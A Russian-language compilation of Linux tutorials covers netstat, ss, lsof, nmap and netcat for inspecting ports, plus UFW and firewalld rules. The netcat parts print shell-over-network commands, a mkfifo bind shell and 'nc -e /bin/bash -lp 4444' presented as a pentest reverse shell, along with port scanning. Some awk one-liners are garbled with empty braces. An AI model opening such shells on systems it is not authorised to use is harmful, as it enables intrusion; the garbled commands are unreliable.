11 примеров использования netstat
Команда netstat, входящая в стандартный набор сетевых инструментов UNIX, отображает различную network–related информацию, такую как сетевые подключения, статистику интерфейсов, таблицы маршрутизации, masquerade, multicast, и т.п.
В этой статье рассмотрим десять практических примеров использования команды netstat в Linux.
1. Список всех портов (как прослушиваемых, так и нет)
Перечислить все порты: netstat -a
# netstat -a | more Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 localhost:domain *:* LISTEN udp6 0 0 fe80::20c:29ff:fe68:ntp [::]:* Active UNIX domain sockets (servers and established) Proto RefCnt Flags Type State I-Node Path unix 2 [ ACC ] STREAM LISTENING 20492 /var/run/mysqld/mysqld.sock unix 2 [ ACC ] STREAM LISTENING 23323 /var/run/php5-fpm.sock
Перечислить все TCP порты: netstat -at
# netstat -at Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 localhost:domain *:* LISTEN tcp 0 0 *:ssh *:* LISTEN tcp 0 0 localhost:ipp *:* LISTEN tcp 0 0 *:http *:* LISTEN
Перечислить все UDP порты: netstat -au
# netstat -au Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State udp 0 0 localhost:domain *:* udp 0 0 *:bootpc *:* udp6 0 0 fe80::20c:29ff:fe68:ntp [::]:*
2. Список сокетов, находящихся в состоянии LISTEN
Перечислить все прослушиваемые порты: netstat -l
# netstat -l Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 localhost:domain *:* LISTEN tcp6 0 0 [::]:ssh [::]:* LISTEN udp 0 0 192.168.128.134:ntp *:*
Перечислить прослушиваемые TCP порты: netstat -lt
# netstat -lt Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 localhost:domain *:* LISTEN tcp 0 0 localhost:ipp *:* LISTEN tcp6 0 0 [::]:ssh [::]:* LISTEN
Перечислить прослушиваемые UDP порты: netstat -lu
# netstat -lu Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State udp 0 0 *:bootpc *:* udp6 0 0 [::]:ntp [::]:*
Перечислить прослушиваемые UNIX сокеты: netstat -lx
# netstat -lx Active UNIX domain sockets (only servers) Proto RefCnt Flags Type State I-Node Path unix 2 [ ACC ] STREAM LISTENING 3141 /var/run/fail2ban/fail2ban.sock unix 2 [ ACC ] STREAM LISTENING 20492 /var/run/mysqld/mysqld.sock unix 2 [ ACC ] STREAM LISTENING 23323 /var/run/php5-fpm.sock
3. Просмотр статистики для каждого протокола
Показать статистику всех портов: netstat -s
# netstat -s Ip: 11150 total packets received 1 with invalid addresses 0 forwarded 0 incoming packets discarded 11149 incoming packets delivered 11635 requests sent out Icmp: 13791 ICMP messages received 12 input ICMP message failed. Tcp: 15020 active connections openings 97955 passive connection openings 135 failed connection attempts Udp: 2841 packets received 180 packets to unknown port received. .
Показать статистику только TCP портов: netstat -st
# netstat -st
Показать статистику только UDP портов: netstat -su
# netstat -su
4. Отображение PID и имени процесса в выводе netstat
Опция netstat -p добавит «PID/Program Name» в вывод netstat, и может быть совмещена с любым другим набором опций. Это очень полезно при отладке, для определения того, какая программа работает на определённом порту.
# netstat -pt Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 org-ru-putty.vm.udf:www 52-106.plus.kerch:55723 ESTABLISHED 9486/nginx: worker tcp 0 0 org-ru-putty.vm.udf:www 52-106.plus.kerch:55757 ESTABLISHED 9486/nginx: worker
5. Разрешение имён в выводе netstat
Когда вам не нужно резолвить имя хоста, имя порта, имя пользователя, используйте опцию netstat -n для вывода значений в цифровом формате. Команда покажет IP-адрес вместо хоста, номер порта вместо имени порта, UID вместо имени пользователя.
Это также ускорит вывод, так как netstat не станет выполнять ненужный поиск.
# netstat -an
Для вывода цифровых значений только некоторых из этих пунктов, используйте следующие команды:
# netsat -a --numeric-ports # netsat -a --numeric-hosts # netsat -a --numeric-users
6. Вывод информации netstat непрерывно
Опция netstat -c будет выводить информацию непрерывно, в стиле top, обновляя экран каждые несколько секунд.
# netstat -c Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 org-ru-putty.vm.udf:www 182.131.74.202:59933 FIN_WAIT2 tcp 0 0 org-ru-putty.vm.udf:www 182.131.74.202:63761 FIN_WAIT2 tcp 0 0 org-ru-putty.vm.udf:www 92-181-66-102-irk.:4585 ESTABLISHED ^C
7. Неподдерживаемые системой семейства адресов
Опция netstat —verbose покажет подробный вывод, а в самом конце отобразит неподдерживаемые Address Family.
netstat: no support for `AF IPX' on this system. netstat: no support for `AF AX25' on this system. netstat: no support for `AF X25' on this system. netstat: no support for `AF NETROM' on this system.
8. Маршрутизация ядра
Показать таблицу маршрутизации ядра: netstat -r
# netstat -r Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface default 192.168.128.2 0.0.0.0 UG 0 0 0 eth0 192.168.128.0 * 255.255.255.0 U 0 0 0 eth0
Примечание: Используйте netstat -rn для просмотра маршрута в цифровом формате без разрешения имён узлов.
9. Соответствие портов и процессов
Узнать, какой порт занимает определённая программа:
# netstat -ap | grep ssh (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 *:ssh *:* LISTEN - tcp6 0 0 [::]:ssh [::]:* LISTEN -
Выяснить, каким процессом используется определённый порт:
# netstat -an | grep ':80'
10. Сетевые интерфейсы
Показать список сетевых интерфейсов: netstat -i
# netstat -i Kernel Interface table Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg eth0 1500 0 1911037 0 0 0 1382056 0 0 0 BMRU lo 16436 0 0 0 0 0 0 0 0 0 LRU
Показать расширенную информацию об интерфейсах (аналогично ifconfig): netstat -ie
# netstat -ie Kernel Interface table eth0 Link encap:Ethernet HWaddr 00:0c:29:68:4c:a4 inet addr:192.168.128.134 Bcast:192.168.128.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe68:4ca4/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:24278 errors:0 dropped:0 overruns:0 frame:0 TX packets:11275 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:33203025 (33.2 MB) TX bytes:665822 (665.8 KB) Interrupt:19 Base address:0x2000
11. netstat -lnptux
- -l все открытые порты (LISTEN)
- -t по протоколу TCP
- -u по протоколу UDP
- -x по протоколу UNIX Socket
- -n без резолва IP/имён
- -p но с названиями процессов и PID-ами
Примечание: Не все процессы могут быть идентифицированы последним ключом, чужие процессы показаны не будут. Вы должны иметь права root чтобы увидеть всё.
# netstat -lnptux Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 9614/nginx tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 601/sshd udp 0 0 8.8.4.4:123 0.0.0.0:* 574/ntpd udp 0 0 127.0.0.1:123 0.0.0.0:* 574/ntpd udp 0 0 0.0.0.0:123 0.0.0.0:* 574/ntpd Active UNIX domain sockets (only servers) Proto RefCnt Flags Type State I-Node PID/Program name Path unix 2 [ ACC ] STREAM LISTENING 4233 826/python /var/run/fail2ban/fail2ban.sock unix 2 [ ACC ] STREAM LISTENING 8122 2561/mysqld /var/run/mysqld/mysqld.sock unix 2 [ ACC ] STREAM LISTENING 160413 7301/php-fpm.conf /var/run/php5-fpm.sock
netstat — проверка открытых портов в Linux

Проверка открытых портов на Ubuntu может понадобиться, чтобы убедиться, что в системе не запущены лишние службы. Если вы помните, порт это число, которое приложение будет использовать для связи с другой программой, предоставлять сервис и т.д. Чтобы получить представление о том, какие службы работают в системе, необходимо проверить открытые порты системы.
Часто мы устанавливаем программу, которая является сервисом, а потом забываем о ней, поэтому наша машина может прослушивать порты в ожидании соединения. Злоумышленники любят, когда порты открыты, так как приложения, прослушивающие эти порты, являются простыми целями. Чтобы обеспечить нашей системе Ubuntu Linux (или любой другой системе в этом отношении) максимальную безопасность, мы должны знать о том, какие порты открыты и для каких служб.
Чтобы проверить, какие порты открыты на нашей рабочей станции Ubuntu, можно выполнить команду, показанную ниже. Обратите внимание, что она должна работать и для других разновидностей Linux, если установлена утилита netstat.
1. Используя команду netstat
netstat -anltp | grep "LISTEN"
CLOSE_WAIT — ожидание закрытия соединения
CLOSED — соединение закрыто
ESTABLISHED — соединение установлено
LISTENING — ожидается соединение (слушается порт)
TIME_WAIT — превышение времени ответа
Утилита netstat позволяет увидеть открытые в системе порты, а также открытые на данный момент сетевые соединения. Для отображения максимально подробной информации надо использовать опции:
- -l или —listening — посмотреть только прослушиваемые порты;
- -p или —program — показать имя программы и ее PID;
- -t или —tcp — показать tcp порты;
- -u или —udp показать udp порты;
- -n или —numeric показывать ip адреса в числовом виде.
Узнать, кто использует данные порты:
- netstat –bno – получить список вех сетевых соединений и связанных с ними программ
- -n – отображает адреса и номера портов в числовом формате
- -b – отображает исполняемый файл, участвующий в создании каждого соединения
Обычный веб-сервер, на котором запущены FTP, SSH и MySQL, выведет следующую информацию:
tcp 0 0 127.0.0.1:3306 0.0.0.0:*LISTEN 21432/mysqld tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 4090/apache2 tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 7213/sshd tcp6 0 0 . 21 . * LISTEN 19023/proftpd tcp6 0 0 . 22 . * LISTEN 7234/sshd
Вышеуказанная команда запускает утилиту netstat с соответствующими флагами и передает вывод функции grep, которая извлекает строки, содержащие слово «LISTEN». В результате мы получаем список открытых портов и имена процессов, прослушивающих эти порты.
Все команды netstat, ss, netcat относится к сетевым утилитам и доступны по-умолчанию в большинстве linux-дистрибутивах.
Команда netstat умеет показывать сетевые соединения (входящие/исходящие), таблицу маршрутизации, статистику по сетевым интерфейсам и т.д.
Список всех открытых портов (TCP)
netstat -atСписок всех открытых портов (UDP)
netstat -auСписок только прослушиваемых портов (TCP)
netstat -ltСтатистика по всем открытым портам
netstat -sПодробное отображение списка с открытыми портами — добавлен PID и имя процессов
netstat -pОбъединим все ключи в полезную команду для просмотра открытых TCP/UDP портов с именами процессов (может понадобиться root-доступ)
netstat -ltupnСписок подключенных хостов
netstat -lantp | grep ESTABLISHED |awk '' | awk -F: '' | sort -uСписок всех открытых портов при помощи команды netstat
Это просто. Тут мы используем либо команду netstat. Да, так просто, всего одна строчка и все у нас перед глазами:
$ sudo netstat –tulpn
Тут мы можем увидеть какие порты находятся в состоянии прослушивания (Listen).
Просмотр статистики по протоколам
Данную информацию отображает команда netstat -s:
# netstat -s Ip: 37850 total packets received 3 with invalid addresses 1 forwarded 0 incoming packets discarded 17349 incoming packets delivered 17635 requests sent out Icmp: 0 ICMP messages received 0 input ICMP message failed. Tcp: 312 active connections openings 2 failed connection attempts 114 connection resets received Udp: 9883 packets received 4 packets to unknown port received. .Отдельная статистика по TCP:
netstat -stОтдельная статистика по UDP:
netstat -suУзнать PID и имя ПО, которое проявляет сетевую активность
Для того, что бы узнать какой именно процесс у нас использует сетевое соединения или проявляет аномальную сетевую активность можно использовать команду netstat -pt:
# netstat -pt Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 1 0 root.wellweb:47212 192.168.1.1:www CLOSE_WAIT 2109/firefox tcp 0 0 root.wellweb:52750 lax:www ESTABLISHED 2109/firefoxОтображение таблицы IP роутов
# netstat -r Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface 192.168.1.0 * 255.255.255.0 U 0 0 0 eth2 link-local * 255.255.0.0 U 0 0 0 eth2 default 192.168.1.1 0.0.0.0 UG 0 0 0 eth2Узнать какой порт использует определенный процесс
# netstat -ap | grep ssh (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 1 0 dev-db:ssh 192.182.1.1:39213 CLOSE_WAIT - tcp 1 0 dev-db:ssh 192.182.1.1:57643 CLOSE_WAIT -Если нужно наоборот, узнать процесс по порту, то команда будет выглядеть так:
# netstat -an | grep ':80'Расширенная информация о сетевом интерфейсе
Для этого используем команду:
# netstat -ie Kernel Interface table eth0 Link encap:Ethernet HWaddr 00:10:42:11:11:11 UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:800 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) Memory:f6ad0000-f6b10000Также мы использовали следующие флаги:
- t — выводит список портов TCP.
- u — выводит список портов UDP.
- l — выводит только слушающие (Listen) сокеты.
- n — показывает номер порта.
- p — показывает имя процесса или программы.
Несколько примеров для определения атаки типа DoS или DDoS
Следующая команда позволит узнать, сколько подключений активно на каждом IP-адресе:
netstat -naltp | grep ESTABLISHED | awk ‘’ | awk -F: ‘’ | sort -n | uniq -c
Определяем большое количество запросов с одного IP-адреса:
netstat -na | grep :80 | sort
Определяем точное количество запросов, полученных на одно соединение:
netstat -np | grep SYN_RECV | wc -l
При проведении DoS-атаки число, полученное в результате работы данной команды, должно быть довольно большим. В любом случае оно может зависеть от конкретной системы. То есть на одном сервере оно может быть одним, на другом — иным.
2. Используя команду ss
Утилита ss — это современная альтернатива для команды netstat. В отличие от netstat, которая берет информацию из каталога /proc, утилита ss напрямую связывается со специальной подсистемой ядра Linux, поэтому работает быстрее и её данные более точные, если вы хотите выполнить просмотр открытых портов это не имеет большого значения.
Утилита ss позволяет просматривать информацию об используемых сокетах в системе. Эта команда обладает схожим функционалом к netstat, но есть и уникальные возможности. Например можно фильтровать вывод по установленным соединениям с определенным портом.
Список процессов, использующие соединения в данный момент
ss -pСписок сокетов в режиме прослушивания
ss -lПример фильтра — список всех соединений к порту 80
ss -o state established '( dport = :www or sport = :www )'Список всех открытых портов при помощи команды ss
Тут все аналогично, кроме того, что теперь используем команду ss вместо netstat
$ sudo ss -tulpn
3. Используя команду lsof
Утилита lsof умеет отображать процессы, которые работают с определенным файлом или сокетом.
Утилита lsof позволяет посмотреть все открытые в системе соединения, в том числе и сетевые, для этого нужно использовать опцию -i, а чтобы отображались именно порты, а не названия сетевых служб следует использовать опцию -P
Список всех сетевых соединений
lsof -iСписок процессов, работающих с портом 80
lsof -i :804. Используя команду netcat
Утилита netcat позволяет передавать/принимать данные через TCP/UDP соединения.
Шаблон вызова утилиты
nc host portОткроем прием (ключ -l) данных на порте 1234 с подробным выводом информации (ключ -v) и продолжением работы после разрыва соединения (ключ -k), по-умолчанию nc разрывает соединение после первого дисконекта.
nc -lvk 1234Подключаемся к открытому порту и отправим import antigravity
nc 127.0.0.1 1234 import antigravityПример более полезного использования nc — передача файла. На принимающей стороне
nc -l 1234 > fileНа отправляющей стороне
nc localhost 1234 < fileИли можно отдавать файл любому подключившемуся. На передающей стороне
nc -l 1234 < fileНа принимающей стороне
nc localhost 1234 > fileПример открытия shell’а на определенном порте (источник). На стороне, где нужно открыть шел
mkfifo /tmp/pipe; sh /tmp/pipe | nc -l 1234 > /tmp/pipeЕще один полезный пример с netcat — запуск процесса, с возможностью отслеживания его работы через сеть
watch w | nc localhost 12344. Используя команду NMAP
Nmap — мощный сетевой сканер, разработанный для сканирования и пентестинга удаленных узлов, но ничего не мешает направить его на локальный компьютер:
nmap localhostStarting Nmap 6.47 ( http://nmap.org ) at 2015-08-02 17:27 EESTNmap scan report for localhost (127.0.0.1)Host is up (0.00036s latency).Other addresses for localhost (not scanned): 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1rDNS record for 127.0.0.1: comm-app.localNot shown: 995 closed ports PORT STATE SERVICE22/tcp open ssh 139/tcp open netbios-ssn445/tcp open microsoft-ds3493/tcp open nut8080/tcp open http-proxyNmap done: 1 IP address (1 host up) scanned in 0.10 secondsЕсли вы хотите посмотреть какие порты на компьютере доступны снаружи, здесь тоже пригодится Nmap. Если компьютер — общедоступный сервер, то результат скорее всего не будет отличатся от локального сканирования, но на домашнем компьютере все немного по другому. Первый вариант — используется роутер и в сеть будут видны только порты роутера, еще одним порогом защиты может стать NAT сервер провайдера. Технология NAT позволяет нескольким пользователям использовать один внешний IP адрес. И так для просмотра открытых внешних портов сначала узнаем внешний ip адрес, для надежности воспользуемся онлайн сервисом:
wget -O - -q icanhazip.com178.93.149.50Дальше запускаем сканирование:
nmap 178.93.149.50В результате мы можем получить открытый порт 80 веб сервера, или даже 21 — файлового сервера, которых мы не устанавливали, эти порты открыты роутером, 80 — для веб-интерфейса, а 21 для может использоваться для обновления прошивки. А еще можно вообще не получить результатов, это будет означать что все порты закрыты, или на сервере установлена система защиты от вторжений IDS.
Для сканирования открытых/прослушиваемых портов на вашей системе Linux, запустите следующую команду (она может занять долгое время для завершения):
sudonmap -n -Pn -sS -sU -p- localhost5. Какие порты открыты для внешнего мира?
Обратите внимание, что сервис может иметь открытый порт, который можно прослушивать только на текущей машине. То есть, порт открыт, но вы не сможете получить к нему доступ из сети.
Это полезно для безопасности, например, веб-сервер должен иметь открытый для остального мира порт 80, но мир не должен знать о (или иметь возможность подключения) порте 3306, который прослушивает сервер MySQL, поддерживающий вебсайт.
В идеале, если вы используете веб-сервер, единственные порты, которые должны быть видны извне это HTTP-порт 80, и возможно, SSH порт 22, поскольку вам понадобится подключаться к веб-серверу для выполнения команд.
Порты для служб, доступных только на локальном компьютере, будут иметь IP адрес 127.0.0.1 в поле локального адреса. В вышеприведенном примере это будет:
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 21432/mysqldКак видно, MySQL прослушивает порт 3306 по IP адресу 127.0.0.1. Это означает, что к MySQL серверу могут подключиться только программы на той же машине.
6. Просматриваем открытые порты в Ubuntu
Для выполнения поставленной задачи мы предлагаем использовать стандартную консоль и дополнительные утилиты, позволяющие проводить мониторинг сети. Разобраться в командах смогут даже неопытные пользователи, поскольку мы дадим объяснение каждой. Предлагаем ознакомиться с двумя различными утилитами далее.
7. ВЫВОДЫ
В этой статье мы рассмотрели инструменты, которые вы можете использовать для того чтобы узнать узнать открытые порты linux. Инструментов не так много как для просмотра информации об оперативной памяти или процессоре, но их вполне хватает. А какими программами пользуетесь вы? Напишите в комментариях!
Полезные трюки при работе с netcat
В данной статье я рассмотрю популярную сетевую утилиту netcat и полезные трюки при работе с ней.
Netcat — утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.
С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.
Что можно сделать с помощью netcat:
- Сканировать порты;
- Перенаправлять порты;
- Производить сбор баннеров сервисов;
- Слушать порт (биндить для обратного соединения);
- Скачивать и закачивать файлы;
- Выводить содержимое raw HTTP;
- Создать мини-чат.
Вообще с помощью netcat можно заменить часть unix утилит, поэтому этот инструмент можно считать неким комбайном для выполнения тех или иных задач.
Практические примеры
Во многих случаях при необходимости проверки того или иного хоста используют телнет, либо собственные сервисные службы для выявления хоста или баннера. Как нам может помочь netcat:
Проверка наличия открытого TCP-порта 12345
$ nc -vn 192.168.1.100 12345nc: connect to 192.168.1.100 12345 (tcp) failed: Connection refused
$ nc -v 192.168.1.100 22Connection to 192.168.1.100 22 port [tcp/ssh] succeeded!
SSH-2.0-OpenSSHСканирование TCP-портов с помощью netcat:
$ nc -vnz 192.168.1.100 20-24При таком сканировании не будет соединение с портом, а только вывод успешного соединения:
nc: connectx to 192.168.1.100 port 20 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 21 (tcp) failed: Connection refused
found 0 associations
found 1 connections:
1: flags=82
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
rank info not available
TCP aux info available
Connection to 192.168.1.100 port 22 [tcp/*] succeeded!
nc: connectx to 192.168.1.100 port 23 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 24 (tcp) failed: Connection refusedСканирование UDP-портов.
Для сканирования UDP портов с помощью nmap необходимы root привилегии. Если их нет — в этом случае нам тоже может помочь утилита netcat:
$ nc -vnzu 192.168.1.100 5550-5560Connection to 192.168.1.100 port 5555 [udp/*] succeeded!
Отправка UDP-пакета
$ echo -n "foo" | nc -u -w1 192.168.1.100 161Это может быть полезно при взаимодействии с сетевыми устройствами.
Прием данных на UDP-порту и вывод принятых данных
$ nc -u localhost 7777После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать while true:
$ while true; do nc -u localhost 7777; doneПередача файлов. С помощью netcat можно как получать файлы, так и передавать на удаленный хост:
nc 192.168.1.100 5555 < 1.txtnc -lvp 5555 > /tmp/1.txtNetcact в роли простейшего веб-сервера.
Netcat может выполнять роль простейшего веб-сервера для отображения html странички.
$ while true; do nc -lp 8888 < index.html; doneC помощью браузера по адресу: http://хост netcat:8888/index.html. Для использования стандартного порта веб-сервера под номером 80 вам придется запустить nc c root привелегиями:
$ while true; do sudo nc -lp 80 < test.html; doneЧат между узлами
На первом узле (192.168.1.100):
$ nc -lp 9000$ nc 192.168.1.100 9000После выполнения команд все символы, введенные в окно терминала на любом из узлов появятся в окне терминала другого узла.
Реверс-шелл
С помощью netcat можно организовать удобный реверс-шелл:
nc -e /bin/bash -lp 4444Теперь можно соединиться с удаленного узла:
$ nc 192.168.1.100 4444Не стоит опускать руки, если нет тех или иных инструментов, зачастую довольно громоздких, иногда задачу можно решить подручными средствами.
Управление портами в Linux (Ubuntu/Debian/CentOS)
Как много времени проходит с момента заказа сервера на хостинге до первого подключения к готовому серверу? Несколько минут. На сколько полученный сервер готов к тому, чтобы использовать его на полную? На 100%. Ну или почти на 100. Точнее, совсем не на 100. Новый сервер подобен новорождённому ребёнку. У него одежды, нет приобретённого иммунитета и нет почти никаких навыков. Он уязвим для любого внешнего воздействия. И защиту от окружающих угроз мы должны ему дать. Наш новый сервер на начальном этапе не готов противостоять всему, что приходит к нему извне. А значит, его необходимо оснастить защитой. Такая защита для сервера – брандмауэр, или файрвол (firewall), или межсетевой экран.
Обмен информацией между узлами сети происходит посредством портов открытых для использования на узлах. Для того, чтобы иметь гарантии прохождения исключительно легитимного трафика, следует уметь управлять портами нашего сервера при помощи брандмауэра.
Управление портами в Ubuntu и Debian
В операционных системах Ubuntu и Debian для управления брандмауэром довольно часто применяется утилита iptables. Её упрощённым интерфейсом является UFW (Uncomplicated Firewall). Открытие доступа к серверу для какого-либо приложения происходит путём регистрации этого приложения в UFW.
В Ubuntu интерфейс UFW как правило присутствует по умолчанию, в Debian же необходимо будет сначала его проинсталлировать. Перед установкой брандмауэра рекомендуется обновить репозитории:
$ sudo apt update $ sudo apt install ufw
Список приложений, зарегистрированных в брандмауэре, доступен по следующей команде:
$ sudo
ufw app listЕсли вы производите первоначальную настройку межсетевого экрана используя подключение к серверу по ssh , логично было бы сразу же прописать в UFW соответствующее этому протоколу правило:
$ sudo
ufw allow SSHЭту команду также можно применить используя соответствующий номер порта вместо имени протокола. Для ssh это, как правило, порт 22:
$
sudo ufw allow 22В Ubuntu команда для разрешения подключения по ssh выглядит как:
$ sudo
ufw allow OpenSSHДля того, чтобы межсетевой экран начал работать, его необходимо запустить:
$ sudo ufw enable
Теперь, можно добавить в UFW правило, которое позволит разрешить передачу данных, например, по порту 80, или другими словами, при помощи протокола http . Это можно прописать командой:
$
sudo ufw allow 80$
sudo ufw allow httpПо аналогии можно также разрешить трафик с использованием порта 443, то есть по протоколу https :
$ sudo ufw allow 443
$ sudo ufw allow https
Подобными инструкциями можно давать разрешения для подключений, использующих несколько портов. Например, так выглядит команда на открытие целого диапазона портов (32810-32814):
$
sudo ufw allow 32810:32814/udpТакже, помимо номеров портов и названий протоколов, в разрешительных правилах есть возможность использовать IP-адреса. Вот как выглядит команда, разрешающая подключение только с IP-адреса 10.10.10.233:
$
sudo ufw allow from 10.10.10.233Или из одной определённой подсети:
$
sudo ufw allow from10.10.10.0/24Или с одного определённого IP-адреса и только по одному определённому порту:
$
sudo ufw allow fromto any port 2210.10.10.233Естественно существует возможность и закрыть доступ для уже открытого подключения через определённый порт. Для этого используется команда deny . Следующей командой можно запретить подключения по протоколу http :
$
sudo ufw deny httpИнструкция для закрытия всех подключений с определённого IP-адреса выглядит следующим образом:
$
sudo ufw deny from10.10.10.233где 10.10.10.233 – IP-адрес, для которого будут закрыты все соединения на наш сервер.
Уже созданные правила можно также удалить. Сделать это можно по номеру правила. Чтобы узнать номера правил, используйте следующую команду:
$
sudo ufw status numberedВывод данной команды выглядит следующим образом:

Номера правил указаны в скобках в начале строки. Например, правило для подключения по 443-му порту имеет номер 3. Исходя из этого, команда для удаления этого правила будет выглядеть как:
$
sudo ufw delete3То же самое можно сделать командой:
$ sudo ufw delete allow 443/tcp
Посмотреть текущее состояние межсетевого экрана позволяет команда:
$ sudo ufw status

Для отключения брандмауэра служит следующая инструкция:
$ sudo ufw disable
Управление портами в Centos
Клиентским интерфейсом для работы с межсетевым экраном в Centos является программа firewalld. Как правило, firewalld уже по умолчанию входит в состав служб Centos. Но если вдруг это не так, для его установки используйте следующие команды:
$ sudo dnf update -y$ sudo dnf install firewalld -yЕсли окажется, что firewalld уже был установлен в системе, команда вернёт следующее сообщение:

Текущее состояние службы можно увидеть набрав команду:
$ systemctl status firewalldЕсли служба работает штатно, то вывод команды будет выглядеть так:

Список приложений, которым доступ в firewalld уже предоставлен, можно увидеть с помощью команды:
$ sudo firewall-cmd --permanent --list-allТакие приложения перечислены в строке services :

Чтобы предоставить приложению или протоколу, например, http , возможность производить подключения к нашему серверу, необходимо использовать команду следующего вида:
$ sudo firewall-cmd --permanent --add-service=httpЭтот протокол должен добавиться в строку services :

Аналогичным образом можно открыть доступ для подключений к серверу по протоколу https :
$ sudo firewall-cmd --permanent --add-service=https
В firewalld также есть возможность предоставить доступ для подключений по определённому порту. Так, например, будет выглядеть команда для открытия доступа по udp-порту 32810:
$ sudo firewall-cmd --zone=public --add-port=32810/udp
А так пишется команда для открытия доступа по пулу портов, например, для udp-портов с 32811 по 32814:
$ sudo firewall-cmd --zone=public --add-port=32811-32814/udp
И чтобы убедиться, что данные порты добавлены в список открытых, необходимо использовать следующую инструкцию:
$ sudo firewall-cmd --zone=public --list-ports

Доступ для подключений по определённому порту можно также и заблокировать. Например, закрытие доступа по udp-порту 32814 осуществляется командой:
$
sudo firewall-cmd --zone=public --remove-port=32814/udpИ наконец, для применения всех внесённых изменений, брандмауэр необходимо перезапустить:
$
sudo firewall-cmd --reloadЗаключение
Итак, мы рассмотрели установку и запуск межсетевых экранов в операционных системах Linux, таких как Ubuntu, Debian и Centos. А также, мы научились открывать доступ для подключений к нашему серверу через определённые порты и протоколы.